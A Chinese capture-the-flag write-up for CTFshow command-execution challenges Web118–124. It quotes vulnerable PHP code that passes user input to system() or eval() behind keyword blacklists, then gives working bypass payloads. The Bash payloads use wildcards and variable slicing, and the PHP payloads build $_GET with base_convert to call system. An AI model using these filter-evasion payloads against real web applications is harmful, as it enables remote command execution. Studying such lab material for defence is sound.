CTFshow-命令执行(Web118-122,124)

Web118

输入ls,cat 等脚本都不行,fuzz测试一下

我们的payload一般是cat/nl等命令+flag.phpflag.php我们可以用通配符代替????.???cat/nl等命令我们可以用Bash内置变量

环境变量PATH一般是/bin,题目路径PWD/var/www/html

但是题目过滤了数字,无法使用切片。换一种方式获取字符。

linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。

${IFS}可以,其他都不太行

${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl

$PWD和${PWD}    表示当前所在的目录    /var/www/html
${#PWD}         13      前面加个#表示当前目录字符串长度
${PWD:3}        r/www/html  代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3}       html    代表从最后面开始向前截取几位(从零开始)
${PWD:3:1}      r
${PWD:~3:1}     h
${PWD:~A}       l   这里的A其实就是表示1
${SHLVL:~A}     1   代表数字1
```
${PATH:~A}${PWD:~A} ????.???

还有几种方法:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???  
${PATH:~A}${PWD:~A:${##}} ????.???

尝试构造/bin/cat flag.php或/bin/base64 flag.php

img

可以构造出/???/?????4 ???????? 4 的话可以通过${#RANDOM}少量多次爆破获得

这道题将1过滤了,所以利用SHLVL ,它是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

Web119

上题的nl方法用不了了PATH好像被过滤了

扩展一下Bash内置变量构造字符:

${RANDOM} :随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录

SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

RANDOM:此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。

IFS:空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3

image-20241213201542183

${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}?${USER:~A}? ??${USER:~A}?.???

/???/?a? ??a?.???
```
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
/bin/base64 flag.php            这里其实${IFS}可以不用直接用空格,因为没禁

Web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
            echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>
  1. ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
  2. ${PWD::${#SHLVL}}???${PWD:${Z}:${#SHLVL}}?${USER:~A}? ????.???

Web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
            echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>
  1. ${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
  2. ${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.??? 就是/bin/rev flag.php

Linux命令rev是将文件中的每行内容已字符为单位反向输出,即第一个字符最后输出,最后一个字符最先输出

Web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
         echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

PWD,#没了

执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。

数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

构造错误命令,使$?的结果为1,代替${##}来分割,可以用命令<A然后下一条命令中的$?就等价于1了,

一直发包就行了

Web124

<?php
error_reporting(0);
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

观察题目源码发现,过滤了大部分的东西,因此我们只能使用白名单的参数

但是题目的参数并不支持我们执行命令执行,因此我们要想办法绕过

于是我们想到了,让参数逃逸,这样无论我们输入什么都不被过滤

于是

c=$_GET[参数];&参数=...

这里我们的参数也被过滤了,但是有白名单,因此我们使用白名单里面的参数进行传参

但是$_GET被过滤了,怎么构造呢?

在白名单中我们发现有base_convert、dechex等函数,看看想办法能不能让他构造参数

首先要构造_GET

base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面

构造流程

base_convert('hex2bin',36,10) --> 37907361743 
_GET    →  hex十六进制 5f474554 (不能有字母所以十六进制不行) →  dec十进制 1598506324

我们首先将bin2hex('_GET');->'5f474554'发现有字母,因此不行,想办法把16进制变成2进制并且返回其ASCII码,于是就要用到hex2bin()函数,但是这个函数被禁用了,我们要想办法构造该函数base_convert('hex2bin',36,10);-> 37907361743(因为36进制中有数字0-9和字母a-z)

然后我们构造_GET=base_convert(37907361743,10,36)(dechex(1598506324));

再利用变量的嵌套$$pi=$_GET

然后利用变量的索引{}绕过[]

{abs} 表示字符串中的数组或字符索引,实际上是访问某个数组元素或字符串中的特定字符。

$example{abs}等价于$example['abs']
也就是
$$pi{abs}($$pi{acos});&abs=system&acos=ls
等价于$_GET[abs]($_GET[acos])
等价于system(ls)

于是payload

?c=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

ctf.show

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
```
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php

?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个  1:tac flag.php  见下图